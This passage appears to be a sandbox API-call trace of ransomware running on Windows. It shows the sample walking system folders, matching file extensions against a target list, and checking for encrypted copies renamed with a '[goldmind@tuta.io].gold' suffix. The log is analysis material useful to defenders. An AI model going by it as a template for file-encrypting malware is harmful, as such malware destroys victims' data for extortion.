1 [0087.343] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.343] lstrlenW (lpString=".zip") returned 4 [0087.343] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0087.343] lstrlenW (lpString=".rar") returned 4 [0087.343] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0087.343] lstrlenW (lpString=".bz2") returned 4 [0087.343] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0087.343] lstrlenW (lpString=".7z") returned 3 [0087.343] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0087.343] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.343] lstrlenW (lpString=".dbf") returned 4 [0087.343] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0087.343] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.343] lstrlenW (lpString=".1cd") returned 4 [0087.343] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0087.343] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.343] lstrlenW (lpString=".jpg") returned 4 [0087.343] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0087.343] lstrcmpiW (lpString1=".LOG", lpString2=".gold") returned 1 [0087.343] lstrlenW (lpString="BCD.LOG") returned 7 [0087.343] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.344] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.344] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.344] lstrlenW (lpString=".doc") returned 4 [0087.344] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0087.344] lstrlenW (lpString=".docx") returned 5 [0087.344] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0087.344] lstrlenW (lpString=".pdf") returned 4 [0087.344] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0087.344] lstrlenW (lpString=".xls") returned 4 [0087.344] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0087.344] lstrlenW (lpString=".xlsx") returned 5 [0087.344] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0087.345] lstrlenW (lpString=".ppt") returned 4 [0087.345] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0087.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.345] lstrlenW (lpString=".zip") returned 4 [0087.345] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0087.345] lstrlenW (lpString=".rar") returned 4 [0087.345] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0087.345] lstrlenW (lpString=".bz2") returned 4 [0087.345] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0087.345] lstrlenW (lpString=".7z") returned 3 [0087.345] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0087.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.345] lstrlenW (lpString=".dbf") returned 4 [0087.345] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0087.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.345] lstrlenW (lpString=".1cd") returned 4 [0087.345] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0087.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.345] lstrlenW (lpString=".jpg") returned 4 [0087.345] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0087.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.345] lstrlenW (lpString=".doc") returned 4 [0087.345] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0087.345] lstrlenW (lpString=".docx") returned 5 [0087.345] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0087.345] lstrlenW (lpString=".pdf") returned 4 [0087.345] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0087.345] lstrlenW (lpString=".xls") returned 4 [0087.345] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0087.345] lstrlenW (lpString=".xlsx") returned 5 [0087.345] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0087.345] lstrlenW (lpString=".ppt") returned 4 [0087.345] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0087.345] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.345] lstrlenW (lpString=".zip") returned 4 [0087.345] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0087.345] lstrlenW (lpString=".rar") returned 4 [0087.345] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0087.345] lstrlenW (lpString=".bz2") returned 4 [0087.345] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0087.345] lstrlenW (lpString=".7z") returned 3 [0087.346] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0087.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.346] lstrlenW (lpString=".dbf") returned 4 [0087.346] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0087.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.346] lstrlenW (lpString=".1cd") returned 4 [0087.346] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0087.346] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0087.346] lstrlenW (lpString=".jpg") returned 4 [0087.346] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0087.346] Sleep (dwMilliseconds=0x64) [0087.579] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0087.579] lstrlenW (lpString="Alphabet.xml") returned 12 [0087.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0087.730] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=791686) returned 1 [0087.730] CloseHandle (hObject=0x2f0) returned 1 [0087.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0087.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString=".doc") returned 4 [0087.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString=".docx") returned 5 [0087.731] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0087.731] lstrlenW (lpString=".pdf") returned 4 [0087.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString=".xls") returned 4 [0087.731] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString=".xlsx") returned 5 [0087.731] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0087.731] lstrlenW (lpString=".ppt") returned 4 [0087.731] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString=".zip") returned 4 [0087.731] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.731] lstrlenW (lpString=".rar") returned 4 [0087.731] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString=".bz2") returned 4 [0087.731] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString=".7z") returned 3 [0087.731] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString=".dbf") returned 4 [0087.731] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString=".1cd") returned 4 [0087.731] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString=".jpg") returned 4 [0087.731] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString=".doc") returned 4 [0087.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString=".docx") returned 5 [0087.731] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0087.731] lstrlenW (lpString=".pdf") returned 4 [0087.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString=".xls") returned 4 [0087.731] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString=".xlsx") returned 5 [0087.731] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0087.731] lstrlenW (lpString=".ppt") returned 4 [0087.731] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.731] lstrlenW (lpString=".zip") returned 4 [0087.731] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.732] lstrlenW (lpString=".rar") returned 4 [0087.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.732] lstrlenW (lpString=".bz2") returned 4 [0087.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.732] lstrlenW (lpString=".7z") returned 3 [0087.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.732] lstrlenW (lpString=".dbf") returned 4 [0087.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.732] lstrlenW (lpString=".1cd") returned 4 [0087.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0087.732] lstrlenW (lpString=".jpg") returned 4 [0087.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.732] Sleep (dwMilliseconds=0x64) [0088.000] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.000] lstrlenW (lpString="boxed-correct.avi") returned 17 [0088.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0088.093] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=89600) returned 1 [0088.093] CloseHandle (hObject=0x310) returned 1 [0088.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0088.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.094] lstrlenW (lpString=".doc") returned 4 [0088.094] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.094] lstrlenW (lpString=".docx") returned 5 [0088.094] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0088.094] lstrlenW (lpString=".pdf") returned 4 [0088.094] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.094] lstrlenW (lpString=".xls") returned 4 [0088.094] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.094] lstrlenW (lpString=".xlsx") returned 5 [0088.094] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0088.094] lstrlenW (lpString=".ppt") returned 4 [0088.094] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.094] lstrlenW (lpString=".zip") returned 4 [0088.094] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.094] lstrlenW (lpString=".rar") returned 4 [0088.094] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.094] lstrlenW (lpString=".bz2") returned 4 [0088.094] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.094] lstrlenW (lpString=".7z") returned 3 [0088.094] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.094] lstrlenW (lpString=".dbf") returned 4 [0088.094] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.094] lstrlenW (lpString=".1cd") returned 4 [0088.094] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.094] lstrlenW (lpString=".jpg") returned 4 [0088.095] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.095] lstrlenW (lpString=".doc") returned 4 [0088.095] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString=".docx") returned 5 [0088.095] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0088.095] lstrlenW (lpString=".pdf") returned 4 [0088.095] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString=".xls") returned 4 [0088.095] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString=".xlsx") returned 5 [0088.095] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0088.095] lstrlenW (lpString=".ppt") returned 4 [0088.095] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.095] lstrlenW (lpString=".zip") returned 4 [0088.095] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString=".rar") returned 4 [0088.095] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString=".bz2") returned 4 [0088.095] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString=".7z") returned 3 [0088.095] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.095] lstrlenW (lpString=".dbf") returned 4 [0088.095] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.095] lstrlenW (lpString=".1cd") returned 4 [0088.095] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0088.095] lstrlenW (lpString=".jpg") returned 4 [0088.095] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.095] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.095] lstrlenW (lpString="ipshrv.xml") returned 10 [0088.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.918] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2652) returned 1 [0088.918] CloseHandle (hObject=0x194) returned 1 [0088.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0088.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.929] lstrlenW (lpString=".doc") returned 4 [0088.930] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".docx") returned 5 [0088.930] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0088.930] lstrlenW (lpString=".pdf") returned 4 [0088.930] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".xls") returned 4 [0088.930] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".xlsx") returned 5 [0088.930] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0088.930] lstrlenW (lpString=".ppt") returned 4 [0088.930] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.930] lstrlenW (lpString=".zip") returned 4 [0088.930] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.930] lstrlenW (lpString=".rar") returned 4 [0088.930] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".bz2") returned 4 [0088.930] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".7z") returned 3 [0088.930] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.930] lstrlenW (lpString=".dbf") returned 4 [0088.930] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.930] lstrlenW (lpString=".1cd") returned 4 [0088.930] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.930] lstrlenW (lpString=".jpg") returned 4 [0088.930] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.930] lstrlenW (lpString=".doc") returned 4 [0088.930] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".docx") returned 5 [0088.930] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0088.930] lstrlenW (lpString=".pdf") returned 4 [0088.930] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".xls") returned 4 [0088.930] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".xlsx") returned 5 [0088.930] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0088.930] lstrlenW (lpString=".ppt") returned 4 [0088.930] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.930] lstrlenW (lpString=".zip") returned 4 [0088.930] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.930] lstrlenW (lpString=".rar") returned 4 [0088.930] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".bz2") returned 4 [0088.930] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.930] lstrlenW (lpString=".7z") returned 3 [0088.930] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.931] lstrlenW (lpString=".dbf") returned 4 [0088.931] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.931] lstrlenW (lpString=".1cd") returned 4 [0088.931] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0088.931] lstrlenW (lpString=".jpg") returned 4 [0088.931] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.931] lstrcmpiW (lpString1=".wmv", lpString2=".gold") returned 1 [0088.931] lstrlenW (lpString="BabyBoyMainToScenesBackground.wmv") returned 33 [0088.931] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.933] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=117214) returned 1 [0088.933] CloseHandle (hObject=0x38c) returned 1 [0088.933] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0088.935] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.976] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.976] lstrlenW (lpString=".doc") returned 4 [0088.976] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0088.976] lstrlenW (lpString=".docx") returned 5 [0088.976] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0088.976] lstrlenW (lpString=".pdf") returned 4 [0088.976] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0088.976] lstrlenW (lpString=".xls") returned 4 [0088.976] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0088.976] lstrlenW (lpString=".xlsx") returned 5 [0088.976] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0088.976] lstrlenW (lpString=".ppt") returned 4 [0088.976] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0088.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0088.976] lstrlenW (lpString=".zip") returned 4 [0088.976] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0088.976] lstrlenW (lpString=".rar") returned 4 [0088.976] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0088.976] lstrlenW (lpString=".bz2") returned 4 [0088.976] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0088.976] lstrlenW (lpString=".7z") returned 3 [0088.976] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0088.976] lstrlenW (lpString="C:\\Program Files\\DVD 